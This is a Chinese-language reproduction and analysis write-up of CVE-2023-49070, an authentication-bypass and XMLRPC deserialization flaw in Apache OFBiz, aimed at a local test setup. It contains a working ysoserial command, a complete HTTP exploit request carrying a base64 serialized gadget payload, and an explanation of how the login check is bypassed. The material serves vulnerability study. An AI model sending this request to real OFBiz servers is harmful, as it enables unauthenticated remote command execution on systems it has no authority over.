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Apache OfBiz 反序列化命令执行漏洞（CVE-2023-49070）

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漏洞描述

Apache OFBiz是一个非常著名的电子商务平台，是一个非常著名的开源项目，提供了创建基于最新J2EE/XML规范和技术标准，构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

在Apache OFBiz 17.12.03版本及以前存在一处XMLRPC导致的反序列漏洞，官方于后续的版本中对相关接口进行加固修复漏洞，但修复方法存在绕过问题（CVE-2023-49070），攻击者仍然可以利用反序列化漏洞在目标服务器中执行任意命令。

Apache OFBiz官方于18.12.10中彻底删除xmlrpc接口修复该漏洞。

环境搭建

idea能够直接处理这个版本，基本不会出现报错

等idea自动处理完成后，编写如下配置运行jar包

image-20240910110025101

image-20240910110040597

漏洞复现

yso生成payload

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java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"
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POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/xml
Content-Length: 4133

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqTK/rq+AAAANAA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASdG91Y2ggL3RtcC9zdWNjZXNzCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAceXNvc2VyaWFsL1B3bmVyNTA0ODI3Nzg4MTU1MAEAHkx5c29zZXJpYWwvUHduZXI1MDQ4Mjc3ODgxNTUwOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AEAAAAdTK/rq+AAAANAAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

image-20240910105403698

漏洞分析

在基于上一篇文章，修复版本在调用rmlrpc的runEvent之前，首先会调用checkLogin进行一个校验

image-20240910113004867

然后通过invoke会来到LoginWorker的extensionCheckLogin方法

image-20240910113103037

跟进checkLogin方法

image-20240910133614154

如果满足if条件，那么就会返回error，反之，则返回success

image-20240910133712487

跟进login方法

image-20240910134252171

来到关键点

image-20240910134646159

如果username为空的话，那么就会向unpwErrMsgList添加一个值，接着来到boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));，如果参数中的requirePasswordChange等于Y的话，那么就会属性requirePasswordChange就被设置为true，由于此时unpwErrMsgList不为空，if条件成立，返回requirePasswordChange

image-20240910135024099

最后返回success绕过鉴权

然后url的设置主要是为了绕过CatcheFilter的doFilter

image-20240910140300527